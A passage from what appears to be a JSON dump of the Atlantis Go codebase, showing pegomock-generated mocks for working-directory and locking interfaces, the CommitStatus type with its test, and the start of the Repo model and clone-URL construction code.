len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_DeleteForWorkspace_OngoingVerification {\n\t_params := []pegomock.Param{logger, r, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"DeleteForWorkspace\", _params, verifier.timeout)\n\treturn &MockWorkingDir_DeleteForWorkspace_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_DeleteForWorkspace_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) {\n\tlogger, r, p, workspace := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) *MockWorkingDir_DeletePlan_OngoingVerification {\n\t_params := []pegomock.Param{logger, r, p, workspace, path, projectName}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"DeletePlan\", _params, verifier.timeout)\n\treturn &MockWorkingDir_DeletePlan_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_DeletePlan_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_DeletePlan_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string, string, string) {\n\tlogger, r, p, workspace, path, projectName := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1], path[len(path)-1], projectName[len(projectName)-1]\n}\n\nfunc (c *MockWorkingDir_DeletePlan_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string, _param4 []string, _param5 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification {\n\t_params := []pegomock.Param{logger, r, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetGitUntrackedFiles\", _params, verifier.timeout)\n\treturn &MockWorkingDir_GetGitUntrackedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_GetGitUntrackedFiles_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) {\n\tlogger, r, p, workspace := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) *MockWorkingDir_GetPullDir_OngoingVerification {\n\t_params := []pegomock.Param{r, p}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetPullDir\", _params, verifier.timeout)\n\treturn &MockWorkingDir_GetPullDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_GetPullDir_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_GetPullDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) {\n\tr, p := c.GetAllCapturedArguments()\n\treturn r[len(r)-1], p[len(p)-1]\n}\n\nfunc (c *MockWorkingDir_GetPullDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetWorkingDir_OngoingVerification {\n\t_params := []pegomock.Param{r, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetWorkingDir\", _params, verifier.timeout)\n\treturn &MockWorkingDir_GetWorkingDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_GetWorkingDir_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) {\n\tr, p, workspace := c.GetAllCapturedArguments()\n\treturn r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) *MockWorkingDir_HasDiverged_OngoingVerification {\n\t_params := []pegomock.Param{logger, cloneDir}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"HasDiverged\", _params, verifier.timeout)\n\treturn &MockWorkingDir_HasDiverged_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_HasDiverged_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_HasDiverged_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) {\n\tlogger, cloneDir := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], cloneDir[len(cloneDir)-1]\n}\n\nfunc (c *MockWorkingDir_HasDiverged_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_MergeAgain_OngoingVerification {\n\t_params := []pegomock.Param{logger, headRepo, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"MergeAgain\", _params, verifier.timeout)\n\treturn &MockWorkingDir_MergeAgain_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_MergeAgain_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_MergeAgain_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) {\n\tlogger, headRepo, p, workspace := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_MergeAgain_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_working_dir_locker.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: WorkingDirLocker)\n\npackage mocks\n\nimport (\n\t\"reflect\"\n\t\"time\"\n\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n)\n\ntype MockWorkingDirLocker struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockWorkingDirLocker(options ...pegomock.Option) *MockWorkingDirLocker {\n\tmock := &MockWorkingDirLocker{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockWorkingDirLocker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockWorkingDirLocker) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string, path string, projectName string, cmdName command.Name) (func(), error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDirLocker().\")\n\t}\n\t_params := []pegomock.Param{repoFullName, pullNum, workspace, path, projectName, cmdName}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"TryLock\", _params, []reflect.Type{reflect.TypeOf((*func())(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 func()\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(func())\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDirLocker) UnlockByPull(repoFullName string, pullNum int) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDirLocker().\")\n\t}\n\t_params := []pegomock.Param{repoFullName, pullNum}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"UnlockByPull\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockWorkingDirLocker) VerifyWasCalledOnce() *VerifierMockWorkingDirLocker {\n\treturn &VerifierMockWorkingDirLocker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockWorkingDirLocker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWorkingDirLocker {\n\treturn &VerifierMockWorkingDirLocker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockWorkingDirLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDirLocker {\n\treturn &VerifierMockWorkingDirLocker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockWorkingDirLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWorkingDirLocker {\n\treturn &VerifierMockWorkingDirLocker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockWorkingDirLocker struct {\n\tmock                   *MockWorkingDirLocker\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockWorkingDirLocker) TryLock(repoFullName string, pullNum int, workspace string, path string, cmdName command.Name) *MockWorkingDirLocker_TryLock_OngoingVerification {\n\t_params := []pegomock.Param{repoFullName, pullNum, workspace, path, cmdName}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"TryLock\", _params, verifier.timeout)\n\treturn &MockWorkingDirLocker_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDirLocker_TryLock_OngoingVerification struct {\n\tmock              *MockWorkingDirLocker\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDirLocker_TryLock_OngoingVerification) GetCapturedArguments() (string, int, string, string, command.Name) {\n\trepoFullName, pullNum, workspace, path, cmdName := c.GetAllCapturedArguments()\n\treturn repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1], workspace[len(workspace)-1], path[len(path)-1], cmdName[len(cmdName)-1]\n}\n\nfunc (c *MockWorkingDirLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int, _param2 []string, _param3 []string, _param4 []command.Name) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(int)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]command.Name, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(command.Name)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDirLocker) UnlockByPull(repoFullName string, pullNum int) *MockWorkingDirLocker_UnlockByPull_OngoingVerification {\n\t_params := []pegomock.Param{repoFullName, pullNum}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"UnlockByPull\", _params, verifier.timeout)\n\treturn &MockWorkingDirLocker_UnlockByPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDirLocker_UnlockByPull_OngoingVerification struct {\n\tmock              *MockWorkingDirLocker\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDirLocker_UnlockByPull_OngoingVerification) GetCapturedArguments() (string, int) {\n\trepoFullName, pullNum := c.GetAllCapturedArguments()\n\treturn repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1]\n}\n\nfunc (c *MockWorkingDirLocker_UnlockByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(int)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/models/commit_status.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage models\n\n// CommitStatus is the result of executing an Atlantis command for the commit.\n// In Github the options are: error, failure, pending, success.\n// In Gitlab the options are: failed, canceled, pending, running, success.\n// We only support Failed, Pending, Success.\ntype CommitStatus int\n\nconst (\n\tPendingCommitStatus CommitStatus = iota\n\tSuccessCommitStatus\n\tFailedCommitStatus\n)\n\nfunc (s CommitStatus) String() string {\n\tswitch s {\n\tcase PendingCommitStatus:\n\t\treturn \"pending\"\n\tcase SuccessCommitStatus:\n\t\treturn \"success\"\n\tcase FailedCommitStatus:\n\t\treturn \"failed\"\n\t}\n\treturn \"failed\"\n}\n"
  },
  {
    "path": "server/events/models/commit_status_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage models_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestStatus_String(t *testing.T) {\n\tcases := map[models.CommitStatus]string{\n\t\tmodels.PendingCommitStatus: \"pending\",\n\t\tmodels.SuccessCommitStatus: \"success\",\n\t\tmodels.FailedCommitStatus:  \"failed\",\n\t}\n\tfor k, v := range cases {\n\t\tEquals(t, v, k.String())\n\t}\n}\n"
  },
  {
    "path": "server/events/models/models.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//\thttp://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n//\n// Package models holds all models that are needed across packages.\n// We place these models in their own package so as to avoid circular\n// dependencies between packages (which is a compile error).\npackage models\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"net/url\"\n\tpaths \"path\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\ntype PullReqStatus struct {\n\tApprovalStatus  ApprovalStatus\n\tMergeableStatus MergeableStatus\n}\n\n// Repo is a VCS repository.\ntype Repo struct {\n\t// FullName is the owner and repo name separated\n\t// by a \"/\", ex. \"runatlantis/atlantis\", \"gitlab/subgroup/atlantis\",\n\t// \"Bitbucket Server/atlantis\", \"azuredevops/project/atlantis\".\n\tFullName string\n\t// Owner is just the repo owner, ex. \"runatlantis\" or \"gitlab/subgroup\"\n\t// or azuredevops/project. This may contain /'s in the case of GitLab\n\t// subgroups or Azure DevOps Team Projects. This may contain spaces in\n\t// the case of Bitbucket Server.\n\tOwner string\n\t// Name is just the repo name, ex. \"atlantis\". This will never have\n\t// /'s in it.\n\tName string\n\t// CloneURL is the full HTTPS url for cloning with username and token string\n\t// ex. \"https://username:token@github.com/atlantis/atlantis.git\".\n\tCloneURL string\n\t// SanitizedCloneURL is the full HTTPS url for cloning with the password\n\t// redacted.\n\t// ex. \"https://user:<redacted>@github.com/atlantis/atlantis.git\".\n\tSanitizedCloneURL string\n\t// VCSHost is where this repo is hosted.\n\tVCSHost VCSHost\n}\n\n// ID returns the atlantis ID for this repo.\n// ID is in the form: {vcs hostname}/{repoFullName}.\nfunc (r Repo) ID() string {\n\treturn fmt.Sprintf(\"%s/%s\", r.VCSHost.Hostname, r.FullName)\n}\n\n// NewRepo constructs a Repo object. repoFullName is the owner/repo form,\n// cloneURL can be with or without .git at the end\n// ex. https://github.com/runatlantis/atlantis.git OR\n//\n//\thttps://github.com/runatlantis/atlantis\nfunc NewRepo(vcsHostType VCSHostType, repoFullName string, cloneURL string, vcsUser string, vcsToken string) (Repo, error) {\n\tif repoFullName == \"\" {\n\t\treturn Repo{}, errors.New(\"repoFullName can't be empty\")\n\t}\n\tif cloneURL == \"\" {\n\t\treturn Repo{}, errors.New(\"cloneURL can't be empty\")\n\t}\n\n\t// Azure DevOps doesn't work with .git suffix on clone URLs\n\tif !strings.HasSuffix(cloneURL, \".git\") && vcsHostType != AzureDevops {\n\t\tcloneURL += \".git\"\n\t}\n\n\tcloneURLParsed, err := url.Parse(cloneURL)\n\tif err != nil {\n\t\treturn Repo{}, fmt.Errorf(\"invalid clone url: %w\", err)\n\t}\n\n\t// Ensure the Clone URL is for the same repo to avoid something malicious.\n\t// We skip this check for Bitbucket Server because its format is different\n\t// and because the caller in that case actually constructs the clone url\n\t// from the repo name and so there's no point checking if they match.\n\t// Azure DevOps also does not require .git at the end of clone urls.\n\tif vcsHostType != BitbucketServer && vcsHostType != AzureDevops {\n\t\texpClonePath := fmt.Sprintf(\"/%s.git\", repoFullName)\n\t\tif expClonePath != cloneURLParsed.Path {\n\t\t\treturn Repo{}, fmt.Errorf(\"expected clone url to have path %q but had %q\", expClonePath, cloneURLParsed.Path)\n\t\t}\n\t}\n\n\t// We url encode because we're using them in a URL and weird characters can\n\t// mess up git.\n\tcloneURL = strings.ReplaceAll(cloneURL, \" \", \"%20\")\n\tescapedVCSUser := url.QueryEscape(vcsUser)\n\tescapedVCSToken := url.QueryEscape(vcsToken)\n\tauth := fmt.Sprintf(\"%s:%s@\", escapedVCSUser, escapedVCSToken)\n\tredactedAuth := fmt.Sprintf(\"%s:<redacted>@\", escapedVCSUser)\n\n\t// Construct clone urls with http and https auth. Need to do both\n\t// because Bitbucket supports http.\n\tauthedCloneURL := strings.ReplaceAll(cloneURL, \"https://\", \"https://\"+auth)\n\tauthedCloneURL = strings.ReplaceAll(authedCloneURL, \"http://\", \"http://\"+auth)\n\tsanitizedCloneURL := strings.ReplaceAll(cloneURL, \"https://\", \"https://\"+redactedAuth)\n\tsanitizedCloneURL = strings.ReplaceAll(sanitizedCloneURL, \"http://\", \"http://\"+redactedAuth)\n\n\t// Get the owner and repo names from the full name.\n\towner, repo := SplitRepoFullName(repoFullName)\n\tif owner == \"\" || repo == \"\" {\n\t\treturn Repo{}, fmt.Errorf(\"invalid repo format %q, owner %q or repo %q was empty\", repoFullName, owner, repo)\n\t}\n\t// Only GitLab and AzureDevops repos can have /'s in their owners.\n\t// This is for GitLab subgroups and Azure DevOps Team Projects.\n\tif strings.Contains(owner, \"/\") && vcsHostType != Gitlab && vcsHostType != AzureDevops {\n\t\treturn Repo{}, 